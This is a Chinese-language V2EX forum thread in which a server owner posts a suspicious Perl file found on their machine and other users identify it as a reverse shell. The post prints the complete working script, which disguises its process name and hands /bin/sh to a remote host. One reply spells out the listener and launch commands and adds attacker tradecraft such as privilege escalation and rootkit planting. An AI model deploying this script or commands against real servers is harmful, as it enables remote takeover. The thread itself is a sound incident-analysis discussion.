V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
shmilyin
V2EX  ›  Linux

服务器是不是被植入后门了? Linux 大神帮忙分析下

  •  
  •   shmilyin · 2017-06-12 17:05:17 +08:00 · 4712 次点击
    这是一个创建于 2726 天前的主题,其中的信息可能已经有所发展或是发生改变。
    cat envl_bc

    #!/use/bin/perl
    use Socket;
    $cmd= "lynx";
    $system= 'echo "`uname-a`";echo "`id`";/bin/sh';
    $0=$cmd;
    $target=$ARGV[0];
    $port=$ARGV[1];
    $iaddr=inet_aton($target) || die("Error: $!\n");
    $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
    $proto=getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr) || die("Error: $!\n");
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system($system);
    close(STDIN);
    close(STDIN);
    close(STDIN);
    19 条回复    2017-06-13 12:24:44 +08:00
    ender049
        1
    ender049  
       2017-06-12 17:25:02 +08:00
    这个是个后门
    xss
        2
    xss  
       2017-06-12 17:25:52 +08:00
    后门+1
    v3exad
        3
    v3exad  
       2017-06-12 17:27:26 +08:00
    bc = backconnect
    40huo
        4
    40huo  
       2017-06-12 17:30:59 +08:00
    反弹了 shell 吧
    winsyka
        5
    winsyka  
       2017-06-12 17:36:31 +08:00
    reverse shell...
    aprikyblue
        6
    aprikyblue  
       2017-06-12 17:42:47 +08:00
    可以来个蜜罐走一波
    meepo3927
        7
    meepo3927  
       2017-06-12 17:43:06 +08:00
    运行这段代码能干啥
    vus520
        8
    vus520  
       2017-06-12 17:58:28 +08:00
    这是攻击的肉机吧
    xustrive
        9
    xustrive  
       2017-06-12 18:01:15 +08:00
    我表示没看懂,有大神给讲解讲解吗、
    fucker
        10
    fucker  
       2017-06-12 18:44:09 +08:00   ❤️ 4
    @xustrive
    这个 perl 脚本接受两个参数,一个是监听服务器的 ip,一个是端口,这段代码就是把 sh shell 反弹到刚才所说的监听服务器上。那个监听服务器一般是用 netcat 做端口监听,接收 socket,命令一般是 `nc -lvp [port]`
    假设黑客的监听端口是 2333, 服务器 IP 是 1.2.3.4, 那么黑客会在 1.2.3.4 这台服务器上运行 `nc -lvp 2333`
    然后在楼主的服务器上运行 `perl envl_bc 1.2.3.4 2333`
    如果网络顺畅的话,黑客就可以直接在他的服务器( 1.2.3.4 )直接控制楼主服务器的某个权限的 shell 了
    多年前,大多数情况是服务器 web 服务存在漏洞,黑客利用这样的 shell 反弹技术运行 localroot(本地提权)程序 /脚本。
    所以建议楼主查一下 web 服务(或不限于 web 服务)是否存在漏洞。
    估计 web 目录已经躺着好几个 webshell 了。
    pq
        11
    pq  
       2017-06-12 18:48:47 +08:00
    我有点困惑,既然是后门,为嘛要用明码脚本来写呢?就算不会用 c/c++,用 python 编译搞一下,也比直接 perl 脚本让人一看就觉得蹊跷要好呀。。。。
    shmilyin
        12
    shmilyin  
    OP
       2017-06-12 19:33:11 +08:00 via Android
    感谢楼上各位分析,我看着像,不确定所以来问问
    nicevar
        13
    nicevar  
       2017-06-12 19:42:42 +08:00
    @pq 因为这是开个端口临时用的,会放更隐蔽的
    楼主要查一下文件时间变动,看一下 log 操作记录,现在的服务器开任何端口给 外网操作都挺危险的,ssh/mysql 这些暴力破解的自动化程序满天飞
    fucker
        14
    fucker  
       2017-06-12 19:54:42 +08:00   ❤️ 5
    @pq
    1.老旧的 linux/unix 服务器通常自带 perl,尤其是 unix (尤其在日本,日本很多老旧站点都是 perl cgi 开发的)。
    2.perl 和其他多数语言一样,分号结尾,所有代码可以写在一行(显然这次是个例外),这样有个好处,就是在遇到命令执行漏洞的时候,非常管用,而 Python 做不到。
    3.许多(老旧的包括现在,尤其是老旧的)服务器在生产环境下是不存在 c/cpp 编译环境的,但是国内很多 linux 服务器却都拥有编译环境。(编译环境对于本地提权来说是非常必要的,当然交叉编译 /自建环境编译除外,这些都很容易出错)
    4.如 13 楼所说,临时用的,一般这种脚本在执行之后,都会立即进行提权,然后植入 rootkit,那些才是真正的后门,隐蔽性极高,没有取证 /渗透经验的人,通常是找不到的。这一次显然是由于黑客疏忽 /权限问题没有清除。
    fucker
        15
    fucker  
       2017-06-12 19:59:03 +08:00
    @pq 再补一条,这个反弹 shell 的脚本其实并不具备后门的特征,也不会给取证带来什么方便,简而言之,就是用这样的动态语言写的脚本其实并不会暴露黑客的信息,当然,在建立连接的时候,[可能]会在 history 里面留下黑客服务器的 IP 地址,网关那里也可能会有,但是这些代码并不会直接暴露黑客的信息,所以这代码是否源码可见对他来说都是安全的。
    hellove1985
        16
    hellove1985  
       2017-06-13 10:04:55 +08:00
    @fucker
    Python 也是可以放在一行来玩的

    ```
    python -c 'print 123;print 456; print 789'
    ```
    xustrive
        17
    xustrive  
       2017-06-13 10:18:19 +08:00
    @fucker 若服务器前端有硬件防火墙 以及开启软防火墙不是也没有效果的吧。
    你讲的那些似乎我没有从脚本中看出来有那些命令(可能是水平还是很菜。23333 )
    fucker
        18
    fucker  
       2017-06-13 12:22:15 +08:00
    @hellove1985 我前面描述有误,感谢指正。python 的确可以一行代码,比如一些 web 服务器和模板的命令执行漏洞( flask+jinja2 )都是一行 Python 做到的。
    fucker
        19
    fucker  
       2017-06-13 12:24:44 +08:00
    @xustrive 无论软 /硬防我个人觉得(可能有误)要看入站 /出站规则吧,另外它里面的日志可以用来取证。
    你说一下我讲的哪一段你没有看出来,我再解释解释。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1131 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 22:43 · PVG 06:43 · LAX 14:43 · JFK 17:43
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.